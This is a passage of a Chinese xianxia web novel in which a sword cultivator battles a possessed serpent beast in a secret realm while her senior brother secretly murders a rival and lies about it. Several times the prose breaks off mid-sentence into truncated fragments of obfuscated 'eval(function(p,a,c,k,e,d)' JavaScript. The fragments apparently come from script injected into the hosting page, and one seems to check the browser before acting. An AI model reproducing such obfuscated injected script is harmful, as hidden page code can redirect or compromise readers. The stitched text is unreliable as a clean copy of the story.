言外之意，有病就去治。 一句话就把范陈挤兑走了，宿溪风愉快地和师妹两人并排同行。 “师妹好像很相信敬水师妹。”他含笑调侃，但语气怪怪的，“明明才认识不过一两天。” 那双桃花眼探寻地转过来，在她脸上寻找蛛丝马迹。 信任吗？不可否认，祝遐宁是个不爱怀疑身边人的性格。她对宗门的人有种天然的笃信。 “我也很相信师兄，相信师妹。”她把师兄的脸推回去，敷衍道。 可这不是宿溪风想听的，被压变形的脸颊不快鼓起：“如果有一天，旁人也说我是坏人，师妹会相信我吗？” 祝遐宁陷入奇异的沉默。 “…………” “……师妹？”宿溪风大惊，心痛道，“你个骗子！” 不至于、不至于……祝遐宁手忙脚乱地安慰受伤的师兄，其实心里也对自己的迟疑存了分疑惑。 奇怪，为什么她会犹豫呢？ 师兄虽然性子怪，但从未做出过坏事。童年把她抛下只出现过一次，甚至只是丢在了熟悉路线，分外繁华的山脚城镇。平日里纯然快乐天然，不存坏心眼时对她堪称百依百顺好师兄。 她当然是信任他的。 ……那为什么，她下意识地沉默了呢？ 12. 守生 如果苍天有灵，会对祝遐宁说：孩子，这是你的直觉在警告。 但苍天静谧如初，所以祝遐宁安慰完宿溪风，就差对天发誓：“当然，我知道师兄肯定是好人！这种情况不可能出现。” “……”宿溪风别过脸，浅发浮动像某种犬科抖耳朵。 自己提出的质疑，自己还不乐意承认了，好奇怪的人！ 祝遐宁不和师兄一般见识。 她抓紧机会商议正事，郑重道：“等会师妹她们的安全就交给师兄了。” 同为金丹后期，宿溪风看起来不显山不露水，但早早停留在这个境界多年。砚霜真君曾感叹，没有比他更适合“逍遥”一道的人，若是想突破，早早可以进阶。 ……不过砚霜一脉最终留给外人的印象，还是天才的小师妹，和貌似存在的两位师兄师姐。 旁观的掌门对此很想说，社恐，也是一种传承。 自她筑基以后，宿溪风很少留在师门内，经常外出几个月后风尘仆仆回来，给师妹带点特产点心，接着又跑到外面游荡。 这么说来，祝遐宁其实已经许久没像这样和师兄同行。 如此一想，她的语气更温和了点：“交给其他人，尤其是天玑宗，她们对我们一向敌视，我不放心。” 师兄得寸进尺：“可我很放心。” 他凑上来，无比期待。 “……”祝遐宁又推开他脸，“别开玩笑了，师兄——！” 宿溪风眨眨眼看她，不再说胡话。 只有他自己知道，他没有开玩笑。 师妹为什么要这么在意这些……无关紧要之人的生命？ 随着开窍之后，对师妹的爱意越丰沛，越了解她，他越难以理解。 …… 入夜后的丹熏秘境，灵兽像被某种存在唤醒般躁动异常。狂乱的呼吼在漆黑群山回荡，身处其中，四面楚歌，灵兽的威压一层层铺展开，似威慑又似自保。 “到底发生什么了？” 施璇灵紧紧跟在谢菱月身边。后者淡定道：“不知道。” “你不害怕吗？”施璇灵纳罕。 谢菱月望着前方师姐的背影，“嗯”了一声，摇头：“我相信师姐。” 她从祝遐宁的身上，看到了少有的神采。 像一把本就锋利的宝剑，正在被擦去灰尘，绽放夺目的光芒。 她想了想，老实说：“其实我很兴奋。” 施璇灵：“？” 她眉毛高高扬起：“你真是个怪人……” 这句话没说完就打住了，施璇灵转念一想，逍遥剑派哪个不是怪人？ 不过这次她误会谢菱月了，她想的其实是——或许又可以看到师姐的剑。 又或许，她可能和师姐并肩作战？ 施璇灵就这样看着身边人忽然斗志昂扬：“……” ——太奇怪了，她真的要和这人当宿敌吗！ 紧张严肃又莫名其妙轻松的氛围下，众人临近中心湖。 越往深处走，生物天然趋利避害的危机感就越重，到了最后，几乎在诸位修士的脑海中拉响不间断警报。被几位同门扛在身上的叶凌天也忍不住嘟囔几声，缩起身子。 他可以放心睡，其他人要考虑的就多了。 范陈凝重：“这威压……” 这恐怖的气场，基本上是明牌中心湖中存在某种高等阶的灵兽。 无数灵兽一路上与她们逆行奔逃，像躲避食物链顶端的顶级掠食者，可在不远处，亦有许多灵兽反常朝着中心湖迈进，谢菱月一眼望见那只最初追逐她的巨鸟。 醒目的猩红双瞳在间或洒下的月光中一闪而过，振翅倏忽离去。 “师姐。”谢菱月拉拉祝遐宁的衣衫，“这些灵兽……似乎都失去了神智。” 有那只巨鸟作为示例，其他灵兽的异色深红双瞳都有了解释。 夜风掀起鼓噪的腥味，她们藏身林木中，远远觑望开阔湖边安静等候的反常灵兽们。它们身披夜色，大多兽牙、嘴角和尖喙上染血，吐息沉重急促。 “它们在等什么？” 施璇灵问。 无人能回答。 但极其不妙的预感浮现于所有人心中——即将出现的会是最可怖的存在。 一声尖锐的啼鸣仿佛拉开序幕。 “■————” 伴随似哭似泣的怪异鸣叫，那只巨鸟突兀疯狂用前爪抓挠起头颅。粼粼湖面倒映着弯月，也映出岸边这疯狂之景。 无数癫狂的野兽仿若一声令下，齐齐开始挠蹬自己的额头、脖子、乃至命脉处，直至血肉大绽，诡异得宛若月光下的祭祀。 铁锈味浓烈得呛鼻。 视觉上冲击更强烈，祝遐宁极为不适，闭眼忍耐几刻，宿溪风低声问：“不如我去……” “不必。”她抬头的刹那，瞳孔骤缩，“来了！” ——正如她所言，异端的核心字面意义上浮出水面。 那是怎样瑰丽的深红，仿佛月光水露滚落在身，菱形的红色眼珠浓郁似血。繁复艳丽的鳞片组成花纹，像上古的图腾，随着蛇身腾挪辗转而滑过视野。 可比这直观美丽更具冲击性的是它强大的气场。 自水面浮现的那刻，碾压级别的威压放出，竟让缩在灵兽最末端的几只筑基期爆体而亡！ “元婴……” 范陈下巴磕巴，汗珠滴在地上，没入草地。 修士抗性更强，她们顽强抵抗住了这波威压，但心理上的恐惧已经将多数人压倒。 庞大的蛇身遮蔽月光，巨型阴影打在地面，深黑的影子扭动头颅，然后缓缓下压。 如果一直抬头，就会发现。 ——它看到你了。 “——！” 元婴级别的灵兽在此刻苏醒，仿佛为它庆贺，岸边已经躺满尸体。 它盯上了更好的祭品。 敬水深呼吸，吐出气时犹带战栗：“就是它……” 可是发现罪魁祸首，又能如何？ 在这限制元婴以下修为的秘境，十个金丹也不够这一只元婴灵兽塞牙。 众人几乎绝望了。 唯余冷静的几位，祝遐宁转头问：“外面一定能发现我们的异常吗？” 敬水点头：“当然。”她明白祝遐宁的意思。她们不约而同做出了一个螳臂当车般的决定。 “——只能拖延时间了。” 这似乎是命运线为扭转异常设下的必杀局。 可绛鹤剑轻悦嗡鸣，变大飞到手边，剑柄与手心完美贴合掌握的那刻，她按住了扭转风云的交界点。 可惜了，祝遐宁想，她不信命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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[它可以操纵这秘境的空间，我们遭遇的时空漩涡也全都是它无意识中的作用。] 敬水定定神：[现在，听我的提示——去右边！] 又一道扭曲，祝遐宁险而又险地避开，接连几道杀意赫赫的时空混乱，她已被逼至数米外无法近身。 赤蛇却无动于衷地居高临下望着她，身披圣洁月光的模样像凡人精心雕琢的塑像。 美则美矣，却充斥古怪的卡顿。 [……它有些不对劲。]祝遐宁道，[我先前斩杀玄蛇时，它没有这么……] 这么，像提线木偶。 眼下，赤蛇对祝遐宁的主动攻势毫无兴趣，连被惹怒都没有。它仰起头，分叉细舌快速吐出回收，汲取空气中的信息分子。 它在找什么？ 先前玄蛇复苏后反应的记忆蓦然回首。 ——它要杀死谢菱月。 念头闪过，赤蛇也锁定目标，悍然游动庞大身躯，压垮无数巨木。 加上空间操纵的能力，元婴灵兽的速度快到极致，眼看就要跳出视野，祝遐宁再次举起剑，磅礴的怒意让剑光近乎澄白如日光。 鹤鸣九皋，声闻于天。 剑光带着无匹的威势劈落，饶是元婴也要为之侧目。 轰隆！ 雷霆乍惊，谢菱月遥望漆黑丛林中露出的那颗张开厉牙的巨大蛇头。 师姐…… 她又看向宿溪风，他的笑像面具薄薄挂在脸上，注意她的视线，回以冷淡一望。 谢菱月收回目光，祈愿般闭上眼。 13. 灵视 剑势汹汹，笔直斩向赤蛇，它张开巨口相迎，但这道剑意无法被扭曲。 空间错落折叠，白虹仍如深夜中劈开黑暗的夺目陨星，又如鸟雀轻振翼翅，掀起雷霆飓风。 这道附着了道路加持的剑光，在祝遐宁决绝的意念中，发挥了最大的力量。 赤蛇无法躲避，它以元婴级别的身躯悍然抵抗——可对于修炼最锋利武器的剑修而言，仅仅如此是不够的。 长剑劈落之时，大雨倾盆而至，漆黑如墨的浓夜也融化作墨汁，混入蛇身抽搐而起伏反光的深红血液。 血液随着赤蛇的尖啸从狰狞伤痕汩汩淌下，却奇异地在落地那刻化作一尾鲜红的鱼。 “……！” 见祝遐宁面露讶异，敬水默默颔首，对视间眼神肯定：这就是湖中的丹熏鱼。 未曾想来源竟是如此。 已经溜到湖边趁乱捞鱼的枳实瞧见，自言自语般“咦”了声：“怪不得……” 反正无人看见，她直接将手伸进滚烫湖水中，筑基之身但浑然不惧，瞧着战局的模样像极了看热闹，有种格格不入的悠闲。 战局中心的祝遐宁没这份闲适。直面强敌，重压之下，神思反而越清醒。 她很清楚自己现在只有两条路可走，第一条，牵制住赤蛇，等待不知何时抵达的救援。第二条，就地斩杀赤蛇！ 可这两条路都谈何容易，无论选哪一条她都必须全力出手。元婴对金丹后期，尽管只差一个阶梯，两者之间的距离却犹如天堑，无怪乎旁人对这局势如此绝望。 但也有可乘之机。 赤蛇的状态十足异常，若是理智清醒杀意十足的元婴灵兽，她此行确实约等于找死。 这样想着，祝遐宁苦中作乐般燃起几分信心。 痛苦似乎唤起了什么，赤蛇呜咽着冲着天空张大颌骨，那双赤红如晶石的双目在深夜中看不分明，敬水却疾声道：[继续攻击它！] 咆哮与雷声应和，天地犹如撕裂般闪过白光。 明暗交错中，她看着天地间最纯粹那寸猎猎白衣，下定决心。 终究是到了不得不解释的时刻。 [……请相信我接下来的话，很抱歉一直隐瞒。] 仿佛尘埃落定，敬水长舒一口气，沉静地传音。 [我可以看到生物的情绪，对不起，我无法控制这个。] “灵视”，这是敬水与生俱来的天赋。 这能力容易招惹猜疑和忌惮，她从不对外显露。可自那一次再入秘境开始，敬水忽然从时空漩涡中“看到”了本不该存在的情绪。 脱口而出的罪恶感被她迅速咽回去，敬水传过来的声音低沉：[……刚刚受伤后，它的情绪色彩变了，黑色变幻成了红色，杀意也变成了悲怆。] 她无数次来到这里，而乱流中传达的情绪也一次比一次更强烈。 像是秘境本身在苏醒，在说着。 [离开。] 离开这里，离开我身边，离开湖水……让我，离开。 她本想假托找到规律的借口，让宗门弟子避开危险，但事到如今，隐瞒的风险更大。 [我本来不能断定，秘境本身诞生灵智这点太过荒谬，现在却可以确定了，不是秘境诞生灵智，而是它与秘境融为了一体。] 敬水不敢看祝遐宁的表情，闭上眼快速道：[它在渐渐复苏，从无意识驱逐靠近的人类到主动，这也是我能感知到的原因。它本应该是无恶意的，但……] 颜色变了。 赤蛇于湖中浮出的那刻，又或许更早，敬水就发现。 原本鲜红的色彩被黑暗吞噬，像一颗跳动的心被剥夺活力，自她的视野中消亡。 [你的意思是，我的攻击反而让它摆脱了控制，而它本意并不是伤害我们，所以现在需要做的是唤醒它的神智？] 祝遐宁来不及震惊师姐的天赋，赤蛇已经再次调转蛇头，试图靠近离开的人群。 [……真麻烦！] [这样应该是可行的。不过它为什么会追着离去的那些人不放？]敬水提出适当的疑惑。 紧接几个报点，祝遐宁躲开赤蛇干扰，深感自己像在玩什么跑酷游戏，挥出的剑却不带一丝犹豫和决意：[谁知道呢。] 她也很想知道，到底是什么东西，一心要让师妹非死不可！ 修士一生都在追逐大道，她们行在不同的道路上，这道路或许是对生命的感悟，又或许是难解难分的执念。 师尊是“枯荣”，师妹是“无双”，师尊的剑意蕴含生命法则，师妹的剑则至刚无匹，这是道路赋予她们本身的属性……而祝遐宁的剑不同。 她的剑只在一个情况会发挥出超越本身的力量。 ——当她为守护而拔剑！ 大雨霏霏，绛鹤剑裹挟贯彻使用者的强烈意志，再次绽放璀璨光华。 它斩断雨丝，亦在赤蛇身上割出千百道无法愈合的伤口，一时血流如注。游鱼欢快地落到地面扑腾，赤蛇全身如被火焰环绕，痛苦悲鸣。 可祝遐宁还在靠近，她像从空中俯冲的鹰隼，纵身一跃，身后月色朦胧，衣衫轻盈翻飞。 更引人注目的是剑。剑光比月色更亮，比雨势更沉重，比夜风还要快，眨眼间便闪至赤蛇眼前！ 那硕大的竖瞳正对着她，祝遐宁毫不犹豫向下挥剑。 远望这一幕，仅仅是旁观，同样握剑的敬水就忍不住战栗，涌现汹涌战意。 天生剑骨，百年难遇。 剑骨赋予了祝遐宁对剑本身超乎常人的感知力，此刻，绛鹤是她延展的躯体，剑势其疾如风，顷刻间血光乍破，利刃从吻部一路贯穿至胸口。 血液溅到祝遐宁白净的脸上、眼边，可她毫无动容。剑身嵌入赤蛇身躯，冷静犹如埋入鞘中。 她无视赤蛇的哀嚎翻滚，握紧剑寸寸向下沉重撕裂血肉，直逼蛇的七寸。 浑身浴血的赤蛇如梦初醒，无法阻止这两个难缠的人类，它无论如何都无法完成自己的目标。 血肉绽开，鳞片飞出，丹熏鱼在地面打滚，赤蛇愤怒地冲向祝遐宁，交锋！ 依凭敬水的提醒，祝遐宁避开乱流，同赤蛇战在一起竟不落下风。 这边，躲藏的其他低阶弟子也在屏息远观战局。 战场跟随赤蛇迁移，眼看要被追上，众人焦急不已，幸得祝遐宁及时牵制，余波威势扫过，仍然让几个筑基弟子阵阵心悸。 “好强。”施璇灵喃喃。 她油然而生向往和畏避，这是她一直渴望，父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个念头诞生后就无法遏制，宿溪风又转了圈，扇子重量虽轻，仍彰显着存在感。 兀自愤怒难堪的范陈忽然背后一凉。 汗毛倒竖的下一刻，冰凉的扇面轻轻抵在了他的后颈，锋利如刀刃般恣意滑过他肌肤，灵气包裹下轻松破开他的皮肉。 范陈惊恐地想要大喊，却发不出一丝声音。前方战局焦灼吸引走绝大多数注意，竟让这里成为一块无人问津的隐蔽区域。 这次是货真价实的死亡危机，比赤蛇来得更近，也更亲密。 死亡在他身后紧贴着起舞，扇子滑过时如同蛇冰冷的鳞片游弋，那人的语气也凉丝丝的，像蛇的吐息。 “……仔细想想，范道友之前的胡话中也还是有存在价值的。”宿溪风若有所思。 范陈颤抖着，感受到可怖的气息肆无忌惮又仔细地包裹住他，没向外泄露出一丝一毫。 “比如说，‘其实你早已被什么不知名的东西顶替了’。” 他微笑着让扇面更深地刺入皮下，血液沿着扇骨下淌：“有前车之鉴，好好处理一下现场，师妹是会相信的。” 那双拿不起任何重物的手，轻柔地攥住了范陈的命脉。 “不、开、心。” 可是又被困在这里，团团打转。 宿溪风清风朗月地笑道：“就只好让你更痛苦点了。” 14. 痛苦 疯子。 范陈空白的大脑只剩下这个词。 北域三宗都是名门正派，他明着对逍遥剑派态度恶劣，顶多是遭遇大比上的针对，下黑手是没有的。 修道修心，心存歹念者难得寸进，如果有，那也是走了歪门邪路，未来难渡问道瓶颈。 谁能料到逍遥剑派这满门实心眼子剑修中，居然藏了个阴晴不定的神经病。 范陈这才产生一丝悔意。 他没同门的叶师弟不谙世事，听得出宿溪风此刻在意的并不是他对敬水的恶言。 但这更让他感到恶寒与畏惧。 宿溪风的不满中或许有五分是冲着他诅咒的发言而去，剩下五分实打实是迁怒。更像被迫夺走玩具又无法反抗，只能在做家务上敷衍或做小动作的坏心眼小孩。 可他拥有远比小孩更大规模的破坏力，这样不稳定的心性落在身上，让他有能力做出正常人难以预料的行径。 范陈也是走夜路多了早晚撞到鬼。 坏言坏语说多了，早晚撞见一个在意、而且毫不在乎后果，只想发泄脾气的。 放置法阵，施展术法，这些手段不像体修剑修，给予直面肉.体的物理伤害。 对于恐惧刀剑切割肉身带来的真实感的修士来说，法修确实是个不错的选择。 但作为法修，宿溪风更喜爱亲身给予伤害的感觉。 比如模拟蛇类绞杀的金环。还有施展术法到扇面，依靠极小的接触面积和灵力加持，弥补他的力道不足，来感受血肉被刨开，让扇面传导猎物在手下的每一分颤抖。 很解压。 ……但还不够。他想。 压力层层叠加，范陈自然能感受到攻击方式体现的发出者性格，神思已绷紧到极点，混乱大脑中他已经将宿溪风妖魔化到是邪门外道派出的间谍。 说不准不远处还在奋战的所谓师妹也不过是他伪装的筏子……这样的人，怎么会乖乖听谁的话？ 不能就这样下去。 不然他真的会死在这里。 范陈决定自救。 意念产生的那刻，一股无形的力量忽然接管了身躯。他疏于锻炼的躯干被蓬勃的活力填满，被压制到无力动弹的手抠紧草地。 是他生存本能下爆发的潜能吗？范陈惊喜地想。 可没等他大发神威，身后的煞神“嗯？”了声。 有些惊奇，但不多。 下一刻，脖颈一热，视角天旋地转，反应过来时，眼前天地倒置，有炽热的液体从脖子往脸上流。 “……” 呆呆张大的嘴中，说不出一句话。 落到无意瞟过来的天玑宗弟子眼中，这更是一幕极为恐怖的场景。 “！！！” 只见原本安静跪伏的范陈已身首分离，脖子平滑的横截面中，涌现漆黑肉虫一般鼓动着无数条丝线。范师兄眼睛大睁，落了个死不瞑目的下场。 “……师兄！！” 第一声惊呼响起，很快众人都接二连三地看来，然后一个接一个被骇到倒退几步。 制造血案的凶手还在边上慢慢掏出手帕擦扇子。 肉虫蠕动一会，意识到自己无用武之处，迅速萎靡下来，像融化一样陷进鲜红泛白的血肉中。 这一幕是诡异又无比恶心的。 亲历者施璇灵和谢菱月反应飞快，立刻来到范陈身边，试图截获一截黑线。 “师兄？”谢菱月看了看他的扇子，已经变得干干净净，被宿溪风满意地收起来。 “范道友被这东西寄生了。”宿溪风沉吟一会，遗憾地说，“我没法唤醒他的神智，只好杀掉了他。” 他可没说假话，宿溪风愉快地想。 只是因果顺序有些颠倒罢了。 施璇灵不愿相信，但事实在眼前，她震惊又悲伤，绷不住自己的形象，走几步路眼泪就掉了下来。 她确实是个感情充沛的人。趾高气扬是真的，对谢菱月偶尔的不满也是真的，咋咋呼呼和对祝遐宁的钦佩也是真的，此刻的眼泪也是真切地为同门师兄而流。 “……怎么会这样。”事态变幻太迅速，前脚还沉浸在被困秘境、遭遇元婴灵兽的绝望，后脚又绝处逢生，在祝遐宁身上看到希望。 结果一转眼，师兄其实早被敌方寄生？ 宿溪风动手干脆利落，留下的尸体上黑线完全退去，下半身躯在空中僵持片刻，啪嗒倒在了地上，死得悄无声息。 眼见谢菱月凝视着似乎若有所思，而施璇灵更是恨不得扑到头颅前大哭，所有人的注意力都转移过来，没消退的烦闷更深。 师妹还在为了这些人鏖战元婴，她们有什么资格关心其他事？ 第一个偷偷做坏事的人这样不快地想。 …… 还不知道师兄在背后无意打出一个超级助攻的祝遐宁，突然发现赤蛇的动作变慢了。 战局瞬息万变，尤其是下克上的越级战斗，她毫不犹豫抓住这个机会，剑刃划出弯月的弧度，痛快渴饮喷涌的血液！ 猝不及防被捅穿至心脏的赤蛇浑身剧烈颤抖，她们的战场波及四周，植物蔓生的地面早被扫荡沦为空旷废土。 祝遐宁也受了不少伤，蛇尾横扫时力沉如天灾裹挟下的巨木，她像勉力抵抗灾难的凡人，灰头土脸地大口喘着气，背部被重创的骨头在灵力的紧急蕴养下勉强支持身体。 但她撑不了太久。 起初只是一两个破绽，可元婴灵兽躯体都可炼作武器。赤蛇貌似才进阶不久，气息不稳，只靠恐怖的速度和蛮力，仍然能对祝遐宁造成无可避免的打击。 如果不是师姐还能给她报点，避开那些时空乱流，她估计早死几十次了。 可对敬水来说，师妹能捕捉赤蛇的破绽，给对方造成同等的伤害，已足以证明她的可怕天赋。 赤蛇半身被血淋透，和深红的鳞片混在一起看不分明。它猛然遭受致命攻击，不知痛般袭来的身躯终于停下，在月色下，黑沉沉的天幕让此刻犹如默剧上演。 风很安静，祝遐宁被淹没在赤蛇的阴影中，呼吸急促，却死死地将剑柄往深处继续捅去。 灵兽踏入大道，未开智时期的致命点早已不足以夺取它们性命，谢菱月迎战玄蛇时就考虑取巧攻击赤珠，可惜猜错。 但对伤痕累累，甚至半只眼睛瞎掉的赤蛇来说，被捅穿七寸心脏处足以重创元气。 累到说不出话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那个已然被痛苦模糊了面容的女人，创造了这片秘境，絮絮叨叨着“这是阿妈给你做的窝”，然后到处胡乱抓来一堆强大的灵兽，笑嘻嘻看着幼小的它蜷缩在自己手指上发抖。 可是这样也是欢乐的。 它从刚刚开智习得引纳灵气，再到筑基、金丹……金丹后期，过去数百年岁月，女人也越来越强大，最后将小小的不过几立方的秘境扩展成庞大的世界。 可是这样强大的女人也是会死的。 罪魁祸首放着奄奄一息的她，看着赤蛇在无边痛苦和愤怒中进阶，突破元婴，然后侵入它的身体，挖出它的心脏，制作出这个秘境唯一一把钥匙。 曾被剑刃捅穿的地方，再一次泛起许久未曾感受过的痛苦，只是这一次，里面没有鲜活跳动的心脏。 它的心脏好像碎掉了。 在囚笼般的睡眠中，它因此而惊醒。 可在很久、很久之前，它早就失去了欢悦的心，那份快乐随着女人的死亡而沉寂，变成苦涩的梦和无望的念想。 不要离开我。 不要让我离开你的身边。 大脑的枷锁忽然放松钳制，它得以感受到汹涌的苦痛，身上的贯穿伤痕也无知无觉。 祝遐宁望着那颗垂下的，近在身边的垂泪眼珠，意识到了。 它在渴望着死亡。 15. 重逢 伤口不断漫出大股液体，像是要流尽全身鲜血。 赤蛇漂亮的鳞片在战斗中被劈砍得七零八落，无穷无尽的血穿行过翘起的破碎鳞片，在地上汇聚成小河，不断变成扑腾的丹熏鱼。 它的泪珠也没有尽头，凝望祝遐宁的眼珠雾蒙蒙，似乎没有焦点，沉浸在了往事。 “……” 明明随时都有可能卷土重来，祝遐宁还是停下了。 她松开剑柄，手指犹豫片刻，轻轻抚摸上搭在她身侧的巨大蛇头。 蛇的吻部触感冰凉，血液沾在手指也是凉的，这只是对比人体的温度。那些小鱼无知无觉地落到地面然后死去，化作被剑风扫过破破烂烂的丹熏草。 这些被两仪谷追捧的植物，或许是造成赤蛇境遇的原因之一。 漫无目的地猜测着，祝遐宁不合时宜地感到同病相怜。 那庞大的悲伤中有种她非常熟悉的情绪。 它如此孤独，失去至爱至亲，这个世界对它来说还有什么意义？ 可求死不能，日复一日地渴望着不知何时到来的解脱。 等待磨灭了所有的希望，此时只剩死志。 手下的蛇头这下才真像冰冷的塑像，它一动不动，但眼珠转向，看向了她。 “我不会就这样杀了你。” 祝遐宁对它说，手指微微用力按在伤口是，可赤蛇毫无反应：“我不知道你遭遇了什么，但我们应该有个共同的敌人。有天我会击败他，但现在。” 她：“这样的死亡不应该是你的结局。” 赤蛇没有反应，敬水一下子听懂了。 祝遐宁毫不在意地折返拔出了剑。抽出时和她刚刺入时一样，手感是空的，她探身瞧了瞧，果然是一片虚无的大洞，伤口处深可见底，筋肉搏动，唯独没有那颗心脏。 这是一条没有心的蛇，精神意义上，生物意义上。 它被挖走心脏，侵入神经，制作成彻底的傀儡，又像献祭品被迫沉在湖底，放出血液养出那样一湖年年都被修士们跑来捞走的丹熏鱼。 可它居然对修士们毫无怨念，或许是心志已被磨平，又或许是性格良善。 祝遐宁不要它这样安静地死去。 血糊在脸上，剑锋照出她狼狈的模样，四肢酸软，可她竖起剑时，旁人就再也看不到那双灼灼明亮双目之外的事物。 “别再被那个东西控制，你可以做到的。”祝遐宁鼓励地说，深黑眼神坚定。 “来吧。” 在战斗中死去。 不是被操纵着无惧死亡的战斗，而是像它活着时自由的捕猎，在主人身边跟随她闯过无数艰难险阻。天生地养的灵兽，骨血里就融入了物竞天择的好斗。 死气沉沉的赤蛇竖瞳微动，面前的女子白衣浴血，已经染成了红色，她却像它见过的某种高贵的动物，揭开血污，羽毛底色依旧洁白。 [……] 理智上敬水知道自己应该阻止，但理智顺从了情感。 她从祝遐宁身上看见了耀眼的白光，那是自她们相识之初就未曾改变过的。 干净如稚子，深邃如晴空。 她有一张很有距离感的脸，洁净温和的眼睛，和一往无前的决绝。 敬水完全无法移开目光。 这样的人，才会诞生天生剑骨。 只有这样的灵魂，才会有着出鞘般的气势。 本命剑绛鹤不染尘埃，它随着主人的心意，指向那个艰难直起的身影。 这夜太漫长，不过终究要到尽头，黑色慢慢变浅，似乎即将溶归白日。 赤蛇又开始感到熟悉的头疼，像有千千万万根针扎入大脑，搅动记忆，它痛苦地想嘶吼、想破坏、想要哭嚎！可它痉挛身躯，涣散的目光凝聚。 蛇的夜视能力不佳，但足以让它看到身边凌乱的景象。 这个秘境是它的“窝”，环山中下陷的中心湖是它的澡盆。女人会蹲在山头，笑眯眯看它撒欢。 这里是寄予着爱的乐园。 ……不是被人随意进出、操纵的地方！ 狼狈的蛇扑向狼狈的人类，这回没有时空扭曲，没有避战，也没有木讷僵硬的生死不顾，它以最大的努力迎接它的战斗，它的死亡。 而在敬水忧虑的目光中，祝遐宁却平静而奇异地感到安稳。 她已经看到了最糟糕的结局。 这是她拼尽全力想要改变的。原作中到尾都没出现赤蛇这号人物，也许它早作为弃子困死在了湖底，反正只要有无穷无尽的丹熏鱼和赤珠心脏就好。 她如此分明地见识到了命运本质的糟糕。她握着剑，就是为了让守护的人远离结局。 那么就没什么可怕的。 似乎有什么瓶颈被撬动，她身上的气势越来越强盛。一人一灵兽到了黔驴技尽，反而越战越勇，尖牙与剑刃快到极致。 金丹巅峰、或许更高……祝遐宁全然忘我，可威压层层拔高，触碰秘境的等级边界，让急得团团转的外界终于接收到了一丝内部的信息。 不清楚交谈内容的其他三宗弟子，只看祝遐宁打着打着开始突破，一改之前同赤蛇的拉锯战，对战元婴丝毫不落下风！ 恐怖如斯！ 她们脑海里冒出了经典款句式。 敬畏又期望地围观战局，被不知名东西当机甲开的赤蛇负伤更重，很快就在她们眼中落了下风。 金丹吊打元婴诶！ 施璇灵还冒着眼泪，已经情不自禁开始激动地握拳了。 “……你师姐，会参加问道大会吗？” 她忍不住对谢菱月嘀咕，分不清是怕被抢风头还是微妙的期待。 后者摇摇头，但不是否定：“我不知道。” 不过，师姐的心境似乎改变了。 同样察觉的是宿溪风。 他抵抵腮帮子，欣赏师妹大放光彩的身影。 一下子又没那么抵触被丢在这了。 耀眼又强大，这是何等的美丽……他的心扑通扑通跳得飞快，控制不住嘴角上扬，反手掏出扇子挡在脸前。 ……但等事情结束还是要和师妹抱怨。 就应该用要求换一个跟在身边的机会，不然敬水那个位置就该是他了。 敬水背后发凉。 她莫名其妙抖了抖，往身后一瞥，视野尽头只有一小团分不出谁是谁的人群。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后有一天，它午后饥肠辘辘地打盹，试图用睡眠混过食欲。 突然被一只手抓起来了。 蛇其实是很胆小的动物，它瞬间惊慌地睁开眼——好吧，视力很差，但它反应迅速地一口咬上身上的手指。 它是蟒蛇，不是毒蛇，没有毒素加持，不比米粒大的牙齿完全扎不进修士皮肤。 于是那个女人嘲笑般哈哈大笑起来。 “好傻！没关系，我就喜欢傻的哈哈哈哈！” 傻？它才不傻！它只是……有点弱…… 赤蛇羞愤地咬得更用力了。 它曾经有很长一段时间觉得，这段弱小的过去很难堪，羞于听到女人津津有味，反复地讲。 但此刻，它融化在暖和的白光中，似乎看到了一道分外熟悉的身影，流干血和泪的眼眶一个劲呆呆地盯着瞧。 …… ……再和我讲一遍吧。 那些我们相遇的故事。